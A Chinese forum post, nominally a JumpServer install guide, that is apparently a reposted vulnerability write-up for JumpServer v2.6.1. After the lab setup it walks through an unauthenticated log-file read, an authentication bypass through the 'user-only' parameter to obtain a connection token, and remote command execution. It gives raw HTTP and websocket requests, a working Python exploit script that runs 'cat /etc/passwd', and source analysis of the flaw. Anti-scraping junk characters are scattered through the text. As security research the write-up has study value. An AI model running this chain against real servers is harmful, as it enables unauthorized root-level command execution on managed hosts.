易陆发现互联网技术论坛

 找回密码
 开始注册
查看: 443|回复: 1
收起左侧

jumpserver安装使用,远程应用工具

[复制链接]
发表于 2023-3-7 15:00:04 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?开始注册

x
下载安装包
# git clone https://github.com/jumpserver/installer.git# cd installer?
国内docker源加速安装
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn# ./jmsctl.sh install
升级到指定版本
# ./jmsctl.sh upgrade v2.6.1
启动服务
#?./jmsctl.sh start#?./jmsctl.sh restart
5 g0 ]; f. a+ q! t; p, B1 T
                               
登录/注册后可看大图
环境配置
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
* y3 l1 Z6 F, `8 G# T8 T
                               
登录/注册后可看大图
1.添加管理用户。
资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。
2 O4 W% F& ^& L" J
                               
登录/注册后可看大图
2.“资产列表”中添加资产
8 a4 v2 ~/ n& Y! y, \6 R4 q1 s& G
                               
登录/注册后可看大图
测试资产可连接性,保证资产存活
) Q/ F9 a+ |* R6 L
                               
登录/注册后可看大图
, W7 s& H" z' z1 }" N$ i3 q8 {
                               
登录/注册后可看大图
3.创建系统用户
系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。

% L# {! U# n( R" ]( {( d" G                               
登录/注册后可看大图
配置“登录方式”为自动登录
  k' T. u! Y/ \: {! x
                               
登录/注册后可看大图
4.创建资产授权
9 B/ l: p" C7 b8 E2 t& b* U5 L
                               
登录/注册后可看大图
5.使用“Web终端”连接资产
为保证漏洞复现顺利进行,需要在Web终端中连接某资产。

" a4 V7 h8 c% |9 {4 r5 a6 U- O                               
登录/注册后可看大图
Web终端以root用户名登录机器。
若配置的登录模式为“手动登录”,所以需要输入密码进行连接。

9 B. u: x/ b& H$ {, Q/ X* i8 ?                               
登录/注册后可看大图
"自动登录"则可调用系统预留密码直接连接。
8 t0 t5 z+ V- c
                               
登录/注册后可看大图
0x02漏洞利用日志文件读取
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
: ]1 V2 B/ y; z: x4 c6 W
                               
登录/注册后可看大图
gunicorn是常用的WSGI容器之一,用来处理Web框架和Web服务器之间的通信,gunicorn.log是API调用历史记录比较全的日志文件。
利用/ws/ops/tasks/log/接口查看/opt/jumpserver/logs/gunicorn.log文件内容,由于系统会自动添加.log后缀,故无须添加文件后缀,目标路径为 "/opt/jumpserver/logs/gunicorn" 即可。
ws://192.168.18.182:8080/ws/ops/tasks/log/{"task":"/opt/jumpserver/logs/gunicorn"}

5 k! |" Y% G% P8 L                               
登录/注册后可看大图
在日志中寻找有用数据,其中/api/v1/perms/asset-permissions/user/validate接口的请求记录值得注意,这个API是用来验证用户的资产控制权限的。由于web终端连接资产时会对用户所属资产权限进行校验,调用了这个接口,故会留下日志记录。其中asset_id、system_user_id、user_id参数值可以被利用。
asset_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0fsystem_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73user_id=f26371c9-18c3-4c4e-979f-95d34ffdb911认证绕过+获取token
/api/v1/authentication/connection-token/接口和/api/v1/users/connection-token/接口均可通过user-only参数绕过权限认证。
两接口对数据的处理逻辑一致,其中post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,收到合法请求会将这个token返回。

7 N1 y. F6 H9 I2 I% @% t( u6 F                               
登录/注册后可看大图
上文从日志中获取到的三个参数值可以用在这里,分别赋值给post请求要求的data中的"user"、"asset"、"system_user"参数,同时在URL中添加user-only参数来绕过认证,最终获得一个20s有效期的token。
POST /api/v1/authentication/connection-token/?user-only=Veraxy HTTP/1.1Host: 192.168.18.182:8080User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:84.0) Gecko/20100101 Firefox/84.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: csrftoken=GsRQYej2Fr3uk3xU9OPfZREl8Wn7xCXPqLSWQGIILIk7uz7izdqojUgYQ5UhG04j; jms_current_role=146; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7DUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 133user=f26371c9-18c3-4c4e-979f-95d34ffdb911&asset=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&system_user=a893cb8f-26f7-41a8-a983-1de24e7c3d73

. i% r: Y9 k+ M0 i                               
登录/注册后可看大图
上图请求接口替换成/api/v1/users/connection-token/达到的目的一样
0 h. C/ T8 J( O
                               
登录/注册后可看大图
远程命令执行
系统/koko/ws/token/接口要求"target_id"参数,携带合法"target_id"参数即可利用该接口建立TTY通信。
" @& E& L( O2 t- J2 V
                               
登录/注册后可看大图
上文通过/api/v1/authentication/connection-token/接口获得的20s有效期的token可作为/koko/ws/token/接口的有效"target_id"参数值,从而建立websocket会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=0a14ec3d-312f-44e0-8224-da1a4151f32e
) k) \9 `8 I7 |! ^
                               
登录/注册后可看大图
借助脚本进行websocket通信
import asyncioimport websocketsimport requestsimport jsonurl = "/api/v1/authentication/connection-token/?user-only=None"# 向服务器端发送认证后的消息async def send_msg(websocket,_text):    if _text == "exit":        print(f'you have enter "exit", goodbye')        await websocket.close(reason="user exit")        return False    await websocket.send(_text)    recv_text = await websocket.recv()    print(f"{recv_text}")# 客户端主逻辑async def main_logic(cmd):    print("###start ws")    async with websockets.connect(target) as websocket:        recv_text = await websocket.recv()        print(f"{recv_text}")        resws=json.loads(recv_text)        id = resws['id']        print("get ws id:"+id)        print("#######1########")        print("init ws")        print("#######2########")        inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":234,\"rows\":13 }"})        await send_msg(websocket,inittext)        print("########3#######")        print("exec cmd: ls")        cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})        print(cmdtext)        await send_msg(websocket, cmdtext)        for i in range(20):            recv_text = await websocket.recv()            print(f"{recv_text}")        print('###finish')if __name__ == '__main__':    host = "http://192.168.18.182:8080"    cmd="cat /etc/passwd"    if host[-1]=='/':        host=host[:-1]    print(host)    data = {"user": "f26371c9-18c3-4c4e-979f-95d34ffdb911", "asset": "fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f",            "system_user": "a893cb8f-26f7-41a8-a983-1de24e7c3d73"}    print("##################")    print("get token url:%s" % (host + url,))    print("##################")    res = requests.post(host + url, json=data)    token = res.json()["token"]    print("token:%s", (token,))    print("##################")    target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token    print("target ws:%s" % (target,))    asyncio.get_event_loop().run_until_complete(main_logic(cmd)
成功执行 "cat /etc/passwd" 命令

# {% H6 ?! C7 `; a% G                               
登录/注册后可看大图
利用条件
1.web终端登录方式为免密自动连接。
若配置为需要输入密码的手动登录,只有在攻击者已知目标资产登录密码(不现实),或此时系统用户与目标资产的会话连接未中断,从而让攻击者有机会复用SSH会话,漏洞利用成功,显然这种配置下漏洞利用大多失败。
1 S/ E/ f* x3 K$ p9 P
                               
登录/注册后可看大图
当系统用户退出登录,由于没有可复用会话了,系统要求重新输入密码,否则无法建立连接。漏洞利用失败。
1 t+ |1 T6 |" G. l  l2 Q
                               
登录/注册后可看大图
只有在系统用户登录模式配置为“自动登录”,即系统用户使用web终端操作时资产无须输入密码
,可直接建立连接(某些情况下需要“自动推送”系统用户至资产才能实现免密连接),这种配置下,该漏洞才可被攻击者稳定利用。
开启自动登录和自动推送。
如果选择了自动推送, Jumpserver 会使用 Ansible 自动推送系统用户到资产中。
' s5 t0 v% h! @. U2 C+ a4 P- x9 a
                               
登录/注册后可看大图
此时连接web终端不需要输入密码了,直接利用系统用户预存的密码建立连接。
5 Z2 g3 ]" n& f( u" B
                               
登录/注册后可看大图
这时我中断会话,再次测试,成功执行命令,此时不是复用SSH连接,而是直接连接,建立会话,从而执行命令。

' B) r% Q3 D: P                               
登录/注册后可看大图
jumpserver通常的配置都是自动登录的,这一条件容易满足。
2.系统用户在web终端与目标资产建立过连接。
只有系统用户在web终端访问过目标资产,才能在日志中留下访问记录,我们与目标建立连接的必要参数均在日志中获取。
3.系统日志路径已知
系统日志路径默认为/opt/jumpserver/logs,一些项目刻意修改日志路径会使得漏洞难以利用。
攻击流程回顾
1.未授权的情况下通过 /ws/ops/tasks/log/ 接口建立websocket连接,读取日志文件
2.在日志文件中获取到用户、资产字段值、系统用户(user_id、asset_id、system_user_id)
3.携带这三个字段对 /api/v1/authentication/connection-token/ 或/api/v1/users/connection-token/接口发起POST请求(同时借助user-only参数绕过认证),得到一个20S有效期的token
4.通过该token与/koko/ws/token/接口建立websocket连接,模拟Web终端通信,执行命令。

% v3 G2 O+ }+ f1 T% ^( m* g                               
登录/注册后可看大图
0x03漏洞分析日志文件读取
读取日志文件的接口为ws/ops/tasks/log/

+ t, _! _4 f6 C/ l                               
登录/注册后可看大图
分析apps/ops/ws.py#CeleryLogWebsocket,connect()方法定义该接口直接连接,无认证
+ o( V0 k8 D4 |* l: {
                               
登录/注册后可看大图
receive()方法要求请求data要携带task参数,随后会将“task”值传给handle_task()
2 Z  `+ @6 C* O2 q
                               
登录/注册后可看大图
self.handle_task(task_id)
-->self.read_log_file(self,task_id)
-->self.wait_util_log_path_exist(task_id)
--> get_celery_task_log_path(task_id),获取目标文件路径的方法,系统自动为路径末尾添加.log后缀,也就是只能读取到日志文件。
这里也是“task”参数值中的文件路径无须携带.log后缀的原因。
7 ^' K% c2 M2 e) J3 R8 {0 }* \6 i
                               
登录/注册后可看大图
当系统连接资产时,会调用 validatePermission() 方法检查用户是否有权限连接,通过三个参数进行校验,分别为用户ID、资产ID、系统用户ID,三个参数值长期有效,可被进一步利用。

/ p4 h7 r9 D" D. X* X! J2 g                               
登录/注册后可看大图

7 \! G5 p# P( `5 U* ]& ]7 k! U                               
登录/注册后可看大图
对应的接口是/api/v1/perms/asset-permissions/user/validate,请求记录均可在日志文件中找到
/ Z3 T3 M& T, |* A. O. M2 K
                               
登录/注册后可看大图
绕过身份验证获取token
apps/authentication/api/auth.py,请求url中存在'user-only'参数且有值,则其权限为AllowAny,即允许访问。

$ v9 h) @( M' ]; ~                               
登录/注册后可看大图
分析apps/authentication/api/auth.py#UserConnectionTokenApi类,可处理get、post请求。
get请求处理函数取URL中"token"和"user-only"参数,合法请求会根据token返回user信息。
9 V1 `2 M* D4 ]- Q( W
                               
登录/注册后可看大图
post请求处理函数要求data数据中携带"user"、"asset"、"system_user"参数,同时系统自动生成一个20s有效期的token,合法请求会将这个token返回。

* u! K' U1 f4 K/ p* M                               
登录/注册后可看大图
apps/authentication/api/auth.py#UserConnectionTokenApi类有哪些地方使用,共两处
3 y; R0 i9 o: ?  E
                               
登录/注册后可看大图
刚好是官方公布的接口,这两个接口数据处理逻辑一致,所以利用的时候两者均可得到token。
/api/v1/authentication/connection-token//api/v1/users/connection-token/
Web Terminal 前端项目 luna/src/app/services/http.ts 中有对/api/v1/users/connection-token/接口的Get请求代码,这里携带不为空的user-only参数,是为了获取token对应的用户身份所有信息而不是单个字段。 https://github.com/jumpserver/luna/blob/6e1f04901ecc466a9412ca995810595497e93625/src/app/services/http.ts
2 j5 l, e( G2 t" w( _
                               
登录/注册后可看大图
websocket建立TTY终端会话
这个漏洞是通过websocket通信建立TTY终端,从而执行命令。
JumpServer中KoKo项目提供 Web Terminal 服务,分析系统中可建立TTY会话的几种方式。
建立TTY会话主要通过koko/pkg/httpd/webserver.go中runTTY() 实现
* V5 c. o% T: S
                               
登录/注册后可看大图
只有两个接口可以进入runTTY()方法,分别是processTerminalWebsocket和processTokenWebsocket方法

3 O7 R+ x4 {% P. R8 I                               
登录/注册后可看大图
对应API为/koko/ws/terminal/ 和 /koko/ws/token/ ,接口handler位于koko/pkg/httpd/webserver.go#websocketHandlers()
& }2 D. ]- Q7 l8 w4 S+ r% t( r
                               
登录/注册后可看大图
/koko/ws/terminal/
系统中通过“会话管理”下“web终端”功能连接资产时,使用的是 /koko/ws/terminal/ 接口

$ L* P' G( U! G8 r3 k/ `! ?8 K3 M: Z                               
登录/注册后可看大图
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
进行websocket通信

. ?. c; |  B: e% N5 ]4 v# Y4 n                               
登录/注册后可看大图
processTerminalWebsocket函数处理 /koko/ws/terminal/ 接口,要通过这个接口成功登录控制台需要一些必备参数,包括type、target_id、system_user_id,其中target_id为目标资产ID,system_user_id表示系统用户id。
注意:/koko/ws/terminal/ 接口的target_id与/koko/ws/token/ 接口的target_id虽然参数名一样,但却是两个完全不同的东西。
) f3 w- \, z( ~' w) a
                               
登录/注册后可看大图
系统对 /koko/ws/terminal/ 接口通过?middleSessionAuth() 进行会话合法校验。
注意到 /koko/ws/token/ 接口却是无此类限制的。

( I. l" S% [, Q2 ^, \: O4 O                               
登录/注册后可看大图
/koko/ws/token/
/koko/ws/token/ 接口的处理函数位于koko/pkg/httpd/webserver.go#processTokenWebsocket,要求get请求携带“target_id”参数,系统会将该参数传递给 service.GetTokenAsset() 方法,获取token对应的user,从而建立TTY会话。

; c% X8 l+ H# H- J+ q7 S: s5 ?  m! S                               
登录/注册后可看大图
发现 GetTokenAsset() 是将“/api/v1/authentication/connection-token/?token=”与token值进行拼接,并发起Get请求,来获取用户身份的。

1 F5 P% X+ w% B9 V: M% B0 D; C                               
登录/注册后可看大图
* _2 k# U1 a- l+ l# @9 U- x
                               
登录/注册后可看大图
上文分析过 /api/v1/authentication/connection-token/ 接口,Get请求处理函数中定义,若仅携带有效token,则返回该用户所有信息,若同时携带token和不为None的user-only,则返回用户信息中的'user'字段值。

! K1 r" v( j6 o) n                               
登录/注册后可看大图
本次通信则是仅携带有效token,从而获取该用户所有身份信息。

2 D: A% \$ _# b5 r' _                               
登录/注册后可看大图
综上,一个有效的“target_id”即可调用/koko/ws/token/ 接口进行websoket通信,从而建立TTY会话。
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"CONNECT","data":""}{"id":"8fd8b06e-dfd6-45b4-aeb7-9403d3a65cfa","type":"TERMINAL_INIT","data":"{\"cols\":140,\"rows\":6}"}

3 L6 i2 h  w3 s0 `" b                               
登录/注册后可看大图
而这个有效的“target_id”则通过上一章节“身份验证绕过”中分析的 /api/v1/authentication/connection-token/ 或 /api/v1/users/connection-token/接口来获得,需要在20s有效期内将token替换为target_id参数值来使用。
补丁分析
漏洞整体分析下来,最关键的几个点,身份验证绕过以及websocket通信接口无校验,官方发布的新版本对其进行修复。

/ ?6 ]1 N! w' j, p+ p4 S. O                               
登录/注册后可看大图
0x04关于websocket
WebSocket 协议诞生于 2008 年,在 2011 年成为国际标准,WebSocket 同样是 HTML 5 规范的组成部分之一。
HTTP 协议是半双工协议,也就是说在同一时间点只能处理一个方向的数据传输,通信只能由客户端发起,属于单向传输,一般通过 Cookie 使客户端保持某种状态,以便服务器可以识别客户端。
WebSocket的出现,使得浏览器和服务器之间可以建立无限制的全双工通信。WebSocket 协议是全双工的,客户端会先发起请求建立连接,若服务器接受了此请求,则将建立双向通信,然后服务器和客户端就可以进行信息交互了,直到客户端或服务器发送消息将其关闭为止。
WebSocket特点:
1.默认端口是80和443,并且握手阶段采用 HTTP 协议,因此握手时不容易屏蔽,能通过各种 HTTP 代理服务器。
2.可以发送文本,也可以发送二进制数据。
3.没有同源限制,客户端可以与任意服务器通信。
4.协议标识符是ws(如果加密,则为wss)
WebSocket通信
WebSocket并不是全新的协议,而是利用了HTTP协议来建立连接。

0 ~( M% `; i; B                               
登录/注册后可看大图
建立连接
客户端请求报文:
GET / HTTP/1.1Upgrade: websocketConnection: UpgradeHost: example.comOrigin: http://example.comSec-WebSocket-Key: sN9cRrP/n9NdMgdcy2VJFQ==Sec-WebSocket-Version: 13
Connection、Upgrade字段声明需要切换协议为websocket
, G! e4 f$ k$ [! _7 PSec-WebSocket-Key是由浏览器随机生成的,提供基本的防护,防止恶意或者无意的连接。
  x8 f& K! y. @# e. x: w" M5 Z- XSec-WebSocket-Version表示 WebSocket 的版本,如果服务端不支持该版本,需要返回一个Sec-WebSocket-Versionheader,里面包含服务端支持的版本号。
服务端的响应报文:
HTTP/1.1 101 Switching ProtocolsUpgrade: websocketConnection: UpgradeSec-WebSocket-Accept: HSmrc0sMlYUkAGmm5OPpG2HaGWk=Sec-WebSocket-Protocol: chat
Upgrade消息头通知客户端确认切换协议来完成这个请求;
Sec-WebSocket-Accept是经过服务器确认,并且加密过后的Sec-WebSocket-Key;
Sec-WebSocket-Protocol则是表示最终使用的协议。
注意:Sec-WebSocket-Key/Sec-WebSocket-Accept的换算,其实并没有实际性的安全保障。
进行通信
服务端接收到客户端发来的Websocket报文需要进行解析。
数据包格式
7 d5 R! r9 g, ^+ }
                               
登录/注册后可看大图
Mask位表示是否要对数据载荷进行掩码异或操作。
Payload length表示数据载荷的长度。
Masking-key数据掩码,为防止早期版本的协议中存在的代理缓存污染攻击等问题而存在。
Payload Data为载荷数据。
服务端返回数据时不携带掩码,所以 Mask 位为 0,再按载荷数据的大小写入长度,最后写入载荷数据。
心跳
WebSocket为了保持客户端、服务端的实时双向通信,需要确保客户端、服务端之间的TCP通道没有断开。对于长时间没有数据往来的通道,但仍需要保持连接,可采用心跳来实现。
发送方->接收方:ping
接收方->发送方:pong
ping、pong的操作,对应的是WebSocket的两个控制帧,opcode分别是0x9、0xA。
关闭连接
关闭连接标志着服务器和客户端之间的通信结束,标记通信结束后,服务器和客户端之间无法进一步传输消息。
Web Terminal实现
通常所说的Terminal是指的终端模拟器,一般情况下终端模拟器是不会直接与shell通讯的,而是通过pty(Pseudoterminal,伪终端)来实现,pty 是一对 master-slave 设备。
终端模拟器通过文件读写流与 pyt master通讯,pty master再将字符输入传送给pty slave,pty slave进一步传递给bash执行。
Web Terminal则是实现在浏览器展示的终端模拟器,前后端建立WebSocket连接,保证浏览器和后端实时通信。
实现思路:
1.浏览器将主机信息传给后台, 并通过HTTP请求与后台协商升级协议,协议升级完成后, 得到一个和浏览器的web Socket连接通道
2 Z. `, g( O7 ~3 P* ]2.后台拿到主机信息, 创建一个SSH 客户端, 与远程主机的SSH 服务端协商加密, 互相认证, 然后建立一个SSH Channel
0 ~7 K# t" V7 M5 f7 g3.后台和远程主机有了通讯的信道,然后后台携带终端信息通过SSH Channel请求远程主机创建一对 pty, 并请求启动当前用户的默认 shell: y3 y# t! t! c3 m) g& J
4.后台通过 Socket连接通道拿到用户输入, 再通过SSH Channel将输入传给pty,pty将这些数据交给远程主机处理后,按照前面指定的终端标准输出到SSH Channel中, 同时键盘输入也会通过SSH Channel发送给远程服务端。1 s2 }% m$ n1 r
5.后台从SSH Channel中拿到按照终端大小的标准输出,通过Socket通信将输出返回给浏览器,由此实现了Web Terminal

8 M' F( i& W& b' L. ]/ F$ b                               
登录/注册后可看大图
JumpServer中websocket通信基于https://github.com/gorilla/websocket项目实现,Web Terminal功能实现思路与上文描述基本一致,这里简述浏览器与后端进行websocket通信流程。

! B) K7 @* s) S% m/ S0 c                               
登录/注册后可看大图
携带多个参数对 /koko/ws/terminal/ 接口发起Get请求,初次握手,提出Upgrade为Websocket协议
GET ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73 HTTP/1.1Host: 192.168.18.182:8080Connection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36Upgrade: websocketOrigin: http://192.168.18.182:8080Sec-WebSocket-Version: 13Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: csrftoken=0ZhWpozQIlm3fpJZRKP0vWcEm32JOlSSbtTBYmqlnHgrSwlMgXdJW0hnx4qJrT5s; sessionid=lbfnuoizl0mnixrwyo036ze65z7vfip0; jms_current_org=%7B%22id%22%3A%22DEFAULT%22%2C%22name%22%3A%22DEFAULT%22%7D; X-JMS-ORG=DEFAULT; jms_current_role=146Sec-WebSocket-Key: Cuf/c4n9TH20PU4HpCP4qQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bitsSec-WebSocket-Protocol: JMS-KOKO
服务端识别有效字段,回应握手请求,同意upgrade为websocket协议,允许后续进行socket通信。
HTTP/1.1 101 Switching ProtocolsServer: nginxDate: Mon, 01 Feb 2021 17:29:47 GMTConnection: upgradeUpgrade: websocketSec-WebSocket-Accept: zdg0gD/H5Ev4u9hn5oIxlSVdvDg=Sec-WebSocket-Protocol: JMS-KOKO
注意到使用web终端功能时,系统主要发起两个请求,分别是
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73http://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73

+ J; G* R- A  P! w2 U/ c$ i                               
登录/注册后可看大图
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。

7 j3 q. D* t) L$ a7 `8 n                               
登录/注册后可看大图
Websocket认证
即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
传统的基于cookie的方式
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
1 L) l- c1 S; Y7 H% l. I7 _: L
                               
登录/注册后可看大图
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。
基于Token的方式
当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。

7 E/ Z$ y; t; _! q+ V6 U6 O0 e5 r5 K                               
登录/注册后可看大图
认证方式对比
传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
0x05利用工具编写思路
1.读取日志
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
) `! }& p! j5 G2 Q, U" s
                               
登录/注册后可看大图
2.筛选可用资产
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。

7 x" S# Y- \, \7 u& s5 v                               
登录/注册后可看大图
3.执行命令
在可用资产列表中选择目标进行攻击,执行指定命令。

6 s0 }5 \% q' Q. E. g$ _; k                               
登录/注册后可看大图
总结
1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。  Y* M# ^" r4 l5 Q$ D+ p
2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。
+ ]! i* C8 r( Z; U; u9 ]4 [- n3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。
( S; e. D4 G7 j' C1 B
 楼主| 发表于 2023-3-7 15:00:05 | 显示全部楼层
下载安装包3 c8 G9 ^* n6 B) b
8 O3 y. Q0 h. W. f" H3 T5 ~
# git clone https://github.com/jumpserver/installer.git5 t3 u4 K6 g* L
# cd installer?
1 a- |( b5 m6 Y7 J国内docker源加速安装  K- H6 x; ]% ]* z% m
! ~! I: b- K! Q; c/ w  M
# export DOCKER_IMAGE_PREFIX=docker.mirrors.ustc.edu.cn
1 P# H4 H6 ^/ z. F6 }9 e* W& Q# ./jmsctl.sh install
! {" C3 @# `2 h$ E' ], x8 ]升级到指定版本
1 E3 _' _. m( o
# r5 w& B( F, a8 o3 K5 r& F# ./jmsctl.sh upgrade v2.6.1
- F+ h3 _- b% N- D启动服务
# @9 J4 E/ {2 G! w" q# r( i
. a6 `3 v4 {8 n2 f( F#?./jmsctl.sh start$ z) J( X/ M3 U0 [, H
#?./jmsctl.sh restart4 W, D( y+ V' q7 [
图片
% g# O; B$ F5 S3 P1 s+ ~
, `$ D/ \; E. w  v环境配置( ^: Z- a* M) K/ Y+ G- e
Jumpserver v2.6.1版本,访问服务正常,默认管理员账户admin/admin,初次登录须改密码。
- N! I  o3 x  R" Z. ~* o  |0 C% e$ T
' M6 z. f1 |+ ?' y7 N/ e" |图片
# n/ y0 ~: g* m% `/ G# ^3 V9 H& E$ N" V- ?1 F3 |% B: H
1.添加管理用户。2 Y0 m% k" C3 z

' E, k* \. u( ~/ z4 h2 p资产管理里面的"管理用户"是jumpserver用来管理资产需要的服务账户,Jumpserver使用该用户来 '推送系统用户'、'获取资产硬件信息'等。, P8 ~! m: A! Z
/ @9 m3 V5 x. I9 r4 x
图片% g# F/ |' a+ z6 W2 e" l

, Y9 r$ R( F, H. [2 U" j' g2.“资产列表”中添加资产  p, r" P0 i3 t/ M' J( V
! B" l* _2 f7 n7 F% F
图片
! ]" T  E1 P9 V6 x
2 I/ _" O7 s  }; |测试资产可连接性,保证资产存活9 n( `9 e% H. B; u: O* E3 M. f6 e1 u
9 B$ x" a- d+ l5 w9 b/ `
图片
7 T% m4 ]" j; G' ]3 W* e" J. n$ `! x# g6 O  B3 n
图片  L* a: b% V( n. J1 d! K# q) m# C

! y% ~" _$ C% e8 v, W  M) I9 N" @, U3.创建系统用户
4 A/ O4 J- p* J. Q2 R0 V4 N, k
! s7 p, x" q; i2 E& h; e) o系统用户是 Jumpserver 跳转登录资产时使用的用户,可以理解为登录资产的用户。2 Q- m2 n8 _- F! y

1 O9 r- _& j8 u- C( m图片" {1 X% _8 z1 f! o  ^: |( A
8 m; `( _! w; ], E5 l
配置“登录方式”为自动登录
. V8 e+ i2 P9 l1 q9 y9 R# |
# S# l4 I$ J% P' |7 v& t图片; e, P2 `! R% G; |: g+ _

: u, c  G% [2 L; w( g! y4.创建资产授权
4 }/ {0 O, |/ `' N) g4 e6 q( t' A6 w0 m# w3 j6 f( h0 T- ?; `" t
图片
* v  ]; f$ F( W7 R
7 l* {6 o5 m! |% ~6 s! {5.使用“Web终端”连接资产
! U( P! H  c0 x- p. j, n3 }
4 o; {$ j& s6 L  s6 \( i为保证漏洞复现顺利进行,需要在Web终端中连接某资产。
; q- r" J/ Z0 m, \
9 _) K7 j% E  @* v, H图片9 F( T4 r% a- C. m8 F; S( P& ^

- F8 W  j  y5 M8 z) SWeb终端以root用户名登录机器。
" K3 G$ }6 ~* _( R2 O) F
; n+ C! S* T2 c. T/ m若配置的登录模式为“手动登录”,所以需要输入密码进行连接。
6 F  |$ H3 b3 d* L& @8 G& A2 {6 G' a" ]- y$ v! T
图片
' \' A, p; X$ [  Y) e+ S3 l4 Q7 R
6 D; y8 H6 Y5 U# ^6 E"自动登录"则可调用系统预留密码直接连接。
2 N7 c" b6 l8 o, U& W
* z6 G3 o: k; F图片$ y5 C  _) k# C; r5 A8 I  t
# s" m( c, A: c* F( O
0x02漏洞利用. l* }7 d2 k9 V$ Q% B
日志文件读取) j# y0 k4 w8 Q  N
系统中/ws/ops/tasks/log/接口无身份校验,可直接与其建立websocket连接,当为“task”参数赋值为具体文件路径时,可获取其文件内容。系统接收文件名后会自动添加.log后缀,所以只能读取.log类型的日志文件。
+ M. R9 f3 W; Y# U  o& o, x( R1 n3 T$ m
默认/opt/jumpserver/logs/ 下存放日志文件,包含jumpserver.log、gunicorn.log、dapgne.log等。
